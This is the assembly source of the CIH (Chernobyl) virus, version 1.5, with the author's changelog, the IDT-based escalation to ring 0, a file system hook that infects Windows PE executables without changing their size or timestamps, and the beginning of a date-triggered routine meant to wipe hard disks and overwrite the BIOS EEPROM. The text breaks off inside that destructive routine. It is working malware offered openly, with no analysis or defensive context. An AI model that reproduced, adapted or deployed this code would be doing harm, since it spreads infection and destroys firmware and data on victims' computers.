CIH V1.5 Source Code

; ****************************************************************************
; *             The Virus Program Information           *
; ****************************************************************************
; *                                 *
; *   Designer : CIH         Source : TTIT of TATUNG in Taiwan   *
; *   Create Date : 04/26/1998     E-mail : [email]WinCIH.Tatung@usa.net[/email]   *
; *   Modification Time : 06/01/1998   Version : 1.5           *
; *                                 *
; *   Turbo Assembler Version 5.0   : Tasm /m cih             *
; *   Turbo Link Version 5.01   : Tlink /3 /t cih, cih.exe       *
; *                                       *
; *==========================================================================*
; *             Modification History               *
; *==========================================================================*
; *     v1.0     1. Create the Virus Program.               *
; *         2. The Virus Modifies IDT to Get Ring0 Privilege.       *
; * 04/26/1998 3. Virus Code doesn't Reload into System.         *
; *         4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; *         5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *
; *         6. When System Opens Existing PE File, the File will be   *
; *       Infected, and the File doesn't be Reinfected.       *
; *         7. It is also Infected, even the File is Read-Only.     *
; *         8. When the File is Infected, the Modification Date and Time *
; *           of the File also don't be Changed.           *
; *         9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *
; *           Previous FileSystemApiHook, it will Call the Function   *
; *           that the IFS Manager Would Normally Call to Implement   *
; *           this Particular I/O Request.               *
; *       10. The Virus Size is only 656 Bytes.           *
; *==========================================================================*
; *     v1.1     1. Especially, the File that be Infected will not Increase   *
; *           it's Size...   ^__^                       *
; * 05/15/1998     2. Hook and Modify Structured Exception Handing.       *
; *           When Exception Error Occurs, Our OS System should be in   *
; *           Windows NT. So My Cute Virus will not Continue to Run,   *
; *           it will Jmup to Original Application to Run.           *
; *         3. Use Better Algorithm, Reduce Virus Code Size.       *
; *         4. The Virus "Basic" Size is only 796 Bytes.           *
; *==========================================================================*
; *     v1.2     1. Kill All HardDisk, and BIOS... Super... Killer...       *
; *         2. Modify the Bug of v1.1                   *
; * 05/21/1998     3. The Virus "Basic" Size is 1003 Bytes.           *
; *==========================================================================*
; *     v1.3     1. Modify the Bug that WinZip Self-Extractor Occurs Error.   *
; *           So When Open WinZip Self-Extractor ==> Don't Infect it.   *
; * 05/24/1998     2. The Virus "Basic" Size is 1010 Bytes.           *
; *==========================================================================*
; *     v1.4     1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *
; *         2. Change the Date of Killing Computers.           *
; * 05/31/1998     3. Modify Virus Version Copyright.               *
; *         4. The Virus "Basic" Size is 1019 Bytes.           *
; ****************************************************************************
; *   v1.5   1. Full Modify the Bug : Change Harddisk Killing Port   *
; *       2. Modify Virus Version Copyright.             *
; * 06/01/1998 3. Clear Garbage in Source Code.             *
; *       4. The Virus "Small" Size in 10xx Bytes.           *
; ****************************************************************************

      .586

; ****************************************************************************
; *       Original PE Executable File(Don't Modify this Section)   *
; ****************************************************************************

OriginalAppEXE SEGMENT

FileHeader:
      db   04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
      db   004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
      db   0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
      db   00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
      db   021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
      db   069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
      db   061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
      db   074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
      db   020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
      db   06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
      db   024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
      db   0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
      db   00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
      db   000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
      db   000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
      db   004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
      db   000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
      db   000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
      db   000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
      db   000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
      db   000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
      db   000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      db   0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
      dd     00000000h, VirusSize

OriginalAppEXE ENDS

; ****************************************************************************
; *           My Virus Game                   *
; ****************************************************************************

; *********************************************************
; *         Constant Define         *
; *********************************************************

TRUE             =     1
FALSE             =     0

DEBUG             =     TRUE

IF     DEBUG

  FirstKillHardDiskNumber =   82h
  HookExceptionNumber   =   06h

ELSE

  FirstKillHardDiskNumber =   81h
  HookExceptionNumber   =   04h

ENDIF


FileNameBufferSize     =     7fh

; *********************************************************
; *********************************************************

VirusGame       SEGMENT

          ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
          ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; *       Ring3 Virus Game Initial Program     *
; *********************************************************

MyVirusStart:
          push     ebp

; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT.   *
; *************************************

          lea     eax, [esp-04h*2]
          xor     ebx, ebx
          xchg     eax, fs:[ebx]
          call     @0
@0:
          pop     ebx
          lea     ecx, StopToRunVirusCode-@0[ebx]
          push     ecx
          push     eax

; *************************************
; * Let's Modify           *
; * IDT(Interrupt Descriptor Table)   *
; * to Get Ring0 Privilege...     *
; *************************************

          push     eax         ;
          sidt   [esp-02h]   ; Get IDT Base Address
          pop   ebx       ;
          add   ebx, HookExceptionNumber*08h+04h ; ZF = 0
          cli
          mov   ebp, [ebx]   ; Get Exception Base
          mov   bp, [ebx-04h]   ; Entry Point
          lea   esi, MyExceptionHook-@1[ecx]
          push     esi
          mov     [ebx-04h], si         ;
          shr     esi, 16             ; Modify Exception
          mov     [ebx+02h], si         ; Entry Point Address
          pop     esi

; *************************************
; * Generate Exception to Get Ring0   *
; *************************************

          int     HookExceptionNumber     ; GenerateException
ReturnAddressOfEndException     =     $

; *************************************
; * Merge All Virus Code Section   *
; *************************************

          push     esi
          mov     esi, eax

LoopOfMergeAllVirusCodeSection:

          mov     ecx, [eax-04h]
          rep     movsb
          sub     eax, 08h
          mov     esi, [eax]
          or     esi, esi
          jz     QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
          jmp     LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

          pop     esi

; *************************************
; * Generate Exception Again     *
; *************************************

          int     HookExceptionNumber     ; GenerateException Again

; *************************************
; * Let's Restore           *
; * Structured Exception Handing   *
; *************************************

ReadyRestoreSE:
          sti
          xor     ebx, ebx
          jmp     RestoreSE

; *************************************
; * When Exception Error Occurs,   *
; * Our OS System should be in NT.   *
; * So My Cute Virus will not     *
; * Continue to Run, it Jmups to   *
; * Original Application to Run.   *
; *************************************

StopToRunVirusCode:
@1             =     StopToRunVirusCode

          xor     ebx, ebx
          mov     eax, fs:[ebx]
          mov     esp, [eax]

RestoreSE:
          pop     dword ptr fs:[ebx]
          pop     eax

; *************************************
; * Return Original App to Execute   *
; *************************************

          pop     ebp
          push   00401000h   ; Push Original
OriginalAddressOfEntryPoint     =     $-4     ; App Entry Point to Stack
          ret   ; Return to Original App Entry Point

; *********************************************************
; *       Ring0 Virus Game Initial Program     *
; *********************************************************

MyExceptionHook:
@2             =     MyExceptionHook
          jz     InstallMyFileSystemApiHook

; *************************************
; * Do My Virus Exist in System !?   *
; *************************************

          mov     ecx, dr0
          jecxz     AllocateSystemMemoryPage
          add     dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

; *************************************
; * Return to Ring3 Initial Program   *
; *************************************

ExitRing0Init:
          mov     [ebx-04h], bp     ;
          shr     ebp, 16         ; Restore Exception
          mov     [ebx+02h], bp     ;
          iretd

; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************

AllocateSystemMemoryPage:

          mov     dr0, ebx     ; Set the Mark of My Virus Exist in System
          push     00000000fh     ;
          push     ecx         ;
          push     0ffffffffh     ;
          push     ecx         ;
          push     ecx         ;
          push     ecx         ;
          push     000000001h     ;
          push     000000002h     ;
          int     20h         ; VMMCALL _PageAllocate
_PageAllocate         =     $         ;
          dd     00010053h     ; Use EAX, ECX, EDX, and flags
          add     esp, 08h*04h
          xchg     edi, eax     ; EDI = SystemMemory Start Address
          lea     eax, MyVirusStart-@2[esi]
          iretd     ; Return to Ring3 Initial Program

; *************************************
; * Install My File System Api Hook   *
; *************************************

InstallMyFileSystemApiHook:

          lea     eax, FileSystemApiHook-@6[edi]

          push     eax ;
          int     20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook =   $
          dd   00400067h     ; Use EAX, ECX, EDX, and flags
          mov     dr0, eax     ; Save OldFileSystemApiHook Address
          pop     eax     ; EAX = FileSystemApiHook Address
          ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
          mov     ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
          mov     edx, [ecx]
          mov     OldInstallFileSystemApiHook-@3[eax], edx
          ; Modify IFSMgr_InstallFileSystemApiHook Entry Point
          lea     eax, InstallFileSystemApiHook-@3[eax]
          mov     [ecx], eax
          cli
          jmp     ExitRing0Init

; *********************************************************
; *       Code Size of Merge Virus Code Section   *
; *********************************************************

CodeSizeOfMergeVirusCodeSection         =     offset $

; *********************************************************
; *       IFSMgr_InstallFileSystemApiHook     *
; *********************************************************

InstallFileSystemApiHook:
          push     ebx
          call     @4     ;
@4:                     ;
          pop     ebx     ; mov ebx, offset FileSystemApiHook
          add     ebx, FileSystemApiHook-@4     ;
          push     ebx
          int     20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook     =     $
          dd   00400068h     ; Use EAX, ECX, EDX, and flags
          pop     eax
          ; Call Original IFSMgr_InstallFileSystemApiHook
          ; to Link Client FileSystemApiHook
          push     dword ptr [esp+8]
          call     OldInstallFileSystemApiHook-@3[ebx]
          pop     ecx
          push     eax
          ; Call Original IFSMgr_InstallFileSystemApiHook
          ; to Link My FileSystemApiHook
          push     ebx
          call     OldInstallFileSystemApiHook-@3[ebx]
          pop     ecx
          mov     dr0, eax     ; Adjust OldFileSystemApiHook Address
          pop     eax
          pop     ebx
          ret

; *********************************************************
; *             Static Data           *
; *********************************************************

OldInstallFileSystemApiHook     dd     ?

; *********************************************************
; *       IFSMgr_FileSystemHook           *
; *********************************************************

; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************

FileSystemApiHook:
@3             =     FileSystemApiHook

          pushad
          call   @5     ;
@5:                     ;
          pop   esi     ; mov esi, offset VirusGameDataStartAddress
          add   esi, VirusGameDataStartAddress-@5

; *************************************
; * Is OnBusy !?           *
; *************************************

          test     byte ptr (OnBusy-@6)[esi], 01h     ; if ( OnBusy )
          jnz     pIFSFunc             ; goto pIFSFunc

; *************************************
; * Is OpenFile !?         *
; *************************************

          ; if ( NotOpenFile )
          ; goto prevhook
          lea     ebx, [esp+20h+04h+04h]
          cmp     dword ptr [ebx], 00000024h
          jne     prevhook

; *************************************
; * Enable OnBusy           *
; *************************************

          inc     byte ptr (OnBusy-@6)[esi]     ; Enable OnBusy

; *************************************
; * Get FilePath's DriveNumber,   *
; * then Set the DriveName to     *
; * FileNameBuffer.         *
; *************************************
; * Ex. If DriveNumber is 03h,   *
; *   DriveName is 'C:'.       *
; *************************************

          add     esi, FileNameBuffer-@6
          push     esi
          mov     al, [ebx+04h]
          cmp     al, 0ffh
          je     CallUniToBCSPath
          add     al, 40h
          mov     ah, ':'
          mov     [esi], eax
          inc     esi
          inc     esi

; *************************************
; * UniToBCSPath           *
; *************************************
; * This Service Converts       *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the   *
; * Specified BCS Character Set.   *
; *************************************

CallUniToBCSPath:
          push     00000000h
          push     FileNameBufferSize
          mov     ebx, [ebx+10h]
          mov     eax, [ebx+0ch]
          add     eax, 04h
          push     eax
          push     esi
          int     20h     ; VXDCall UniToBCSPath
UniToBCSPath         =     $
          dd     00400041h
          add     esp, 04h*04h

; *************************************
; * Is FileName '.EXE' !?       *
; *************************************

          cmp     [esi+eax-04h], 'EXE.'
          pop     esi
          jne     DisableOnBusy

IF     DEBUG

; *************************************
; * Only for Debug         *
; *************************************

          cmp     [esi+eax-06h], 'KCUF'
          jne     DisableOnBusy

ENDIF

; *************************************
; * Is Open Existing File !?     *
; *************************************

          ; if ( NotOpenExistingFile )
          ; goto DisableOnBusy
          cmp     word ptr [ebx+18h], 01h
          jne     DisableOnBusy

; *************************************
; * Get Attributes of the File   *
; *************************************

          mov     ax, 4300h
          int     20h     ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO     =     $
          dd     00400032h
          jc     DisableOnBusy
          push     ecx

; *************************************
; * Get IFSMgr_Ring0_FileIO Address   *
; *************************************

          mov     edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
          mov     edi, [edi]

; *************************************
; * Is Read-Only File !?       *
; *************************************

          test     cl, 01h
          jz     OpenFile

; *************************************
; * Modify Read-Only File to Write   *
; *************************************

          mov     ax, 4301h
          xor     ecx, ecx
          call     edi     ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Open File           *
; *************************************

OpenFile:
          xor     eax, eax
          mov     ah, 0d5h
          xor     ecx, ecx
          xor     edx, edx
          inc     edx
          mov     ebx, edx
          inc     ebx
          call     edi     ; VXDCall IFSMgr_Ring0_FileIO
          xchg     ebx, eax     ; mov ebx, FileHandle

; *************************************
; * Need to Restore         *
; * Attributes of the File !?     *
; *************************************

          pop     ecx
          pushf
          test     cl, 01h
          jz     IsOpenFileOK

; *************************************
; * Restore Attributes of the File   *
; *************************************

          mov     ax, 4301h
          call     edi     ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Is Open File OK !?       *
; *************************************

IsOpenFileOK:
          popf
          jc     DisableOnBusy

; *************************************
; * Open File Already Succeed.   ^__^ *
; *************************************

          push     esi     ; Push FileNameBuffer Address to Stack

          pushf         ; Now CF = 0, Push Flag to Stack

          add     esi, DataBuffer-@7 ; mov esi, offset DataBuffer

; ***************************
; * Get OffsetToNewHeader   *
; ***************************

          xor     eax, eax
          mov     ah, 0d6h
          ; For Doing Minimal VirusCode's Length,
          ; I Save EAX to EBP.
          mov     ebp, eax
          push     00000004h
          pop     ecx
          push     0000003ch
          pop     edx
          call     edi     ; VXDCall IFSMgr_Ring0_FileIO
          mov     edx, [esi]

; ***************************
; * Get 'PE/0' Signature   *
; * of ImageFileHeader, and *
; * Infected Mark.     *
; ***************************

          dec     edx
          mov     eax, ebp
          call     edi     ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Is PE !?       *
; ***************************
; * Is the File       *
; * Already Infected !?   *
; ***************************
; * WinZip Self-Extractor   *
; * doesn't Have Infected   *
; * Mark Because My Virus   *
; * doesn't Infect it.   *
; ***************************

          cmp     dword ptr [esi], 00455000h
          jne     CloseFile

; *************************************
; * The File is         ^o^ *
; * PE(Portable Executable) indeed.   *
; *************************************
; * The File isn't also Infected.   *
; *************************************

; *************************************
; * Start to Infect the File     *
; *************************************
; * Registers Use Status Now :   *
; *               *
; * EAX = 04h           *
; * EBX = File Handle       *
; * ECX = 04h           *
; * EDX = 'PE/0/0' Signature of   *
; *   ImageFileHeader Pointer's   *
; *     Former Byte.       *
; * ESI = DataBuffer Address ==> @8   *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump :           *
; *               *
; * ESP => ------------------------- *
; *   │   EFLAG(CF=0)   │ *
; *   ------------------------- *
; *   │ FileNameBufferPointer │ *
; *   ------------------------- *
; *   │     EDI     │ *
; *   ------------------------- *
; *   │     ESI     │ *
; *   ------------------------- *
; *   │     EBP     │ *
; *   ------------------------- *
; *   │     ESP     │ *
; *   ------------------------- *
; *   │     EBX     │ *
; *   ------------------------- *
; *   │     EDX     │ *
; *   ------------------------- *
; *   │     ECX     │ *
; *   ------------------------- *
; *   │     EAX     │ *
; *   ------------------------- *
; *   │   Return Address   │ *
; *   ------------------------- *
; *************************************

          push     ebx     ; Save File Handle
          push     00h     ; Set VirusCodeSectionTableEndMark

; ***************************
; * Let's Set the     *
; * Virus' Infected Mark   *
; ***************************

          push     01h     ; Size
          push     edx     ; Pointer of File
          push     edi     ; Address of Buffer

; ***************************
; * Save ESP Register   *
; ***************************

          mov     dr1, esp

; ***************************
; * Let's Set the     *
; * NewAddressOfEntryPoint *
; * ( Only First Set Size ) *
; ***************************

          push     eax     ; Size

; ***************************
; * Let's Read       *
; * Image Header in File   *
; ***************************

          mov     eax, ebp
          mov     cl, SizeOfImageHeaderToRead
          add     edx, 07h ; Move EDX to NumberOfSections
          call     edi     ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Let's Set the     *
; * NewAddressOfEntryPoint *
; * ( Set Pointer of File, *
; *   Address of Buffer   ) *
; ***************************

          lea     eax, (AddressOfEntryPoint-@8)[edx]
          push     eax     ; Pointer of File
          lea     eax, (NewAddressOfEntryPoint-@8)[esi]
          push     eax     ; Address of Buffer

; ***************************
; * Move EDX to the Start   *
; * of SectionTable in File *
; ***************************

          movzx     eax, word ptr (SizeOfOptionalHeader-@8)[esi]
          lea     edx, [eax+edx+12h]

; ***************************
; * Let's Get       *
; * Total Size of Sections *
; ***************************

          mov     al, SizeOfScetionTable
          ; I Assume NumberOfSections <= 0ffh
          mov     cl, (NumberOfSections-@8)[esi]
          mul     cl

; ***************************
; * Let's Set Section Table *
; ***************************

          ; Move ESI to the Start of SectionTable
          lea     esi, (StartOfSectionTable-@8)[esi]
          push     eax     ; Size
          push     edx     ; Pointer of File
          push     esi     ; Address of Buffer

; ***************************
; * The Code Size of Merge *
; * Virus Code Section and *
; * Total Size of Virus   *
; * Code Section Table Must *
; * be Small or Equal the   *
; * Unused Space Size of   *
; * Following Section Table *
; ***************************

          inc     ecx
          push     ecx     ; Save NumberOfSections+1
          shl     ecx, 03h
          push     ecx     ; Save TotalSizeOfVirusCodeSectionTable

          add     ecx, eax
          add     ecx, edx
          sub     ecx, (SizeOfHeaders-@9)[esi]
          not     ecx
          inc     ecx
          ; Save My Virus First Section Code
          ; Size of Following Section Table...
          ; ( Not Include the Size of Virus Code Section Table )
          push     ecx
          xchg     ecx, eax     ; ECX = Size of Section Table
          ; Save Original Address of Entry Point
          mov     eax, (AddressOfEntryPoint-@9)[esi]
          add     eax, (ImageBase-@9)[esi]
          mov     (OriginalAddressOfEntryPoint-@9)[esi], eax
          cmp     word ptr [esp], small CodeSizeOfMergeVirusCodeSection
          jl     OnlySetInfectedMark

; ***************************
; * Read All Section Tables *
; ***************************

          mov     eax, ebp
          call     edi     ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Full Modify the Bug :   *
; * WinZip Self-Extractor   *
; * Occurs Error...     *
; ***************************
; * So When User Opens   *
; * WinZip Self-Extractor, *
; * Virus Doesn't Infect it.*
; ***************************
; * First, Virus Gets the   *
; * PointerToRawData in the *
; * Second Section Table,   *
; * Reads the Section Data, *
; * and Tests the String of *
; * 'WinZip(R)'......   *
; ***************************

          xchg     eax, ebp
          push     00000004h
          pop     ecx
          push     edx
          mov     edx, (SizeOfScetionTable+PointerToRawData-@9)[esi]
          add     edx, 12h
          call     edi     ; VXDCall IFSMgr_Ring0_FileIO
          cmp   dword ptr [esi], 'piZniW'
          je     NotSetInfectedMark
          pop     edx

; ***************************
; * Let's Set Total Virus   *
; * Code Section Table   *
; ***************************

          ; EBX = My Virus First Section Code
          ;     Size of Following Section Table
          pop     ebx
          pop     edi     ; EDI = TotalSizeOfVirusCodeSectionTable
          pop     ecx     ; ECX = NumberOfSections+1
          push     edi         ; Size
          add     edx, ebp
          push     edx         ; Pointer of File
          add     ebp, esi
          push     ebp         ; Address of Buffer

; ***************************
; * Set the First Virus   *
; * Code Section Size in   *
; * VirusCodeSectionTable   *
; ***************************

          lea     eax, [ebp+edi-04h]
          mov     [eax], ebx

; ***************************
; * Let's Set My Virus   *
; * First Section Code   *
; ***************************

          push     ebx     ; Size
          add     edx, edi
          push     edx     ; Pointer of File
          lea     edi, (MyVirusStart-@9)[esi]
          push     edi     ; Address of Buffer

; ***************************
; * Let's Modify the   *
; * AddressOfEntryPoint to *
; * My Virus Entry Point   *
; ***************************

          mov     (NewAddressOfEntryPoint-@9)[esi], edx

; ***************************
; * Setup Initial Data   *
; ***************************

          lea     edx, [esi-SizeOfScetionTable]
          mov     ebp, offset VirusSize
          jmp     StartToWriteCodeToSections

; ***************************
; * Write Code to Sections *
; ***************************

LoopOfWriteCodeToSections:

          add     edx, SizeOfScetionTable
          mov     ebx, (SizeOfRawData-@9)[edx]
          sub     ebx, (VirtualSize-@9)[edx]
          jbe     EndOfWriteCodeToSections
          push     ebx     ; Size
          sub     eax, 08h
          mov     [eax], ebx
          mov     ebx, (PointerToRawData-@9)[edx]
          add     ebx, (VirtualSize-@9)[edx]
          push     ebx     ; Pointer of File
          push     edi     ; Address of Buffer
          mov     ebx, (VirtualSize-@9)[edx]
          add     ebx, (VirtualAddress-@9)[edx]
          add     ebx, (ImageBase-@9)[esi]
          mov     [eax+4], ebx
          mov     ebx, [eax]
          add     (VirtualSize-@9)[edx], ebx

          ; Section contains initialized data ==> 00000040h
          ; Section can be Read.       ==> 40000000h
          or     (Characteristics-@9)[edx], 40000040h

StartToWriteCodeToSections:

          sub     ebp, ebx
          jbe     SetVirusCodeSectionTableEndMark
          add     edi, ebx     ; Move Address of Buffer

EndOfWriteCodeToSections:

          loop     LoopOfWriteCodeToSections

; ***************************
; * Only Set Infected Mark *
; ***************************

OnlySetInfectedMark:
          mov     esp, dr1
          jmp     WriteVirusCodeToFile

; ***************************
; * Not Set Infected Mark   *
; ***************************

NotSetInfectedMark:
          add     esp, 3ch
          jmp     CloseFile

; ***************************
; * Set Virus Code     *
; * Section Table End Mark *
; ***************************

SetVirusCodeSectionTableEndMark:

          ; Adjust Size of Virus Section Code to Correct Value
          add     [eax], ebp
          add     [esp+08h], ebp

          ; Set End Mark
          xor     ebx, ebx
          mov     [eax-04h], ebx

; ***************************
; * When VirusGame Calls   *
; * VxDCall, VMM Modifies   *
; * the 'int 20h' and the   *
; * 'Service Identifier'   *
; * to 'Call [XXXXXXXX]'.   *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First.   ^__^   *
; ***************************

          lea     eax, (LastVxDCallAddress-2-@9)[esi]
          mov     cl, VxDCallTableSize

LoopOfRestoreVxDCallID:
          mov     word ptr [eax], 20cdh
          mov     edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
          mov     [eax+2], edx
          movzx     edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
          sub     eax, edx
          loop     LoopOfRestoreVxDCallID

; ***************************
; * Let's Write       *
; * Virus Code to the File *
; ***************************

WriteVirusCodeToFile:
          mov     eax, dr1
          mov     ebx, [eax+10h]
          mov     edi, [eax]

LoopOfWriteVirusCodeToFile:

          pop     ecx
          jecxz     SetFileModificationMark
          mov     esi, ecx
          mov     eax, 0d601h
          pop     edx
          pop     ecx
          call     edi     ; VXDCall IFSMgr_Ring0_FileIO
          jmp     LoopOfWriteVirusCodeToFile

; ***************************
; * Let's Set CF = 1 ==>   *
; * Need to Restore File   *
; * Modification Time   *
; ***************************

SetFileModificationMark:
          pop     ebx
          pop     eax
          stc         ; Enable CF(Carry Flag)
          pushf

; *************************************
; * Close File           *
; *************************************

CloseFile:
          xor     eax, eax
          mov     ah, 0d7h
          call     edi     ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Need to Restore File Modification *
; * Time !?             *
; *************************************

          popf
          pop     esi
          jnc     IsKillComputer

; *************************************
; * Restore File Modification Time   *
; *************************************

          mov     ebx, edi
          mov     ax, 4303h
          mov     ecx, (FileModificationTime-@7)[esi]
          mov     edi, (FileModificationTime+2-@7)[esi]
          call     ebx     ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Disable OnBusy         *
; *************************************

DisableOnBusy:
          dec     byte ptr (OnBusy-@7)[esi]     ; Disable OnBusy

; *************************************
; * Call Previous FileSystemApiHook   *
; *************************************

prevhook:
          popad
          mov     eax, dr0     ;
          jmp     [eax]         ; Jump to prevhook

; *************************************
; * Call the Function that the IFS   *
; * Manager Would Normally Call to   *
; * Implement this Particular I/O   *
; * Request.           *
; *************************************

pIFSFunc:
          mov     ebx, esp
          push     dword ptr [ebx+20h+04h+14h]     ; Push pioreq
          call     [ebx+20h+04h]             ; Call pIFSFunc
          pop     ecx                 ;
          mov     [ebx+1ch], eax     ; Modify EAX Value in Stack

; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the *
; * Returned pioreq.   *
; ***************************

          cmp     dword ptr [ebx+20h+04h+04h], 00000024h
          jne     QuitMyVirusFileSystemHook

; *****************
; * Get the File *
; * Modification *
; * Date and Time *
; * in DOS Format.*
; *****************

          mov     eax, [ecx+28h]
          mov     (FileModificationTime-@6)[esi], eax

; ***************************
; * Quit My Virus'     *
; * IFSMgr_FileSystemHook   *
; ***************************

QuitMyVirusFileSystemHook:

          popad
          ret

; *************************************
; * Kill Computer !? ...   *^_^*   *
; *************************************

IsKillComputer:
          ; Get Now Day from BIOS CMOS
          mov     al, 07h
          out     70h, al
          in     al, 71h
          xor   al, 01h ; ??/26/????

IF     DEBUG
          jmp     DisableOnBusy
ELSE
          jnz     DisableOnBusy
ENDIF

; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; **************************************

; ***************************
; * Kill BIOS EEPROM   *
; ***************************

          mov     bp, 0cf8h
          lea     esi, IOForEEPROM-@7[esi]

; ***********************
; * Show BIOS Page in   *
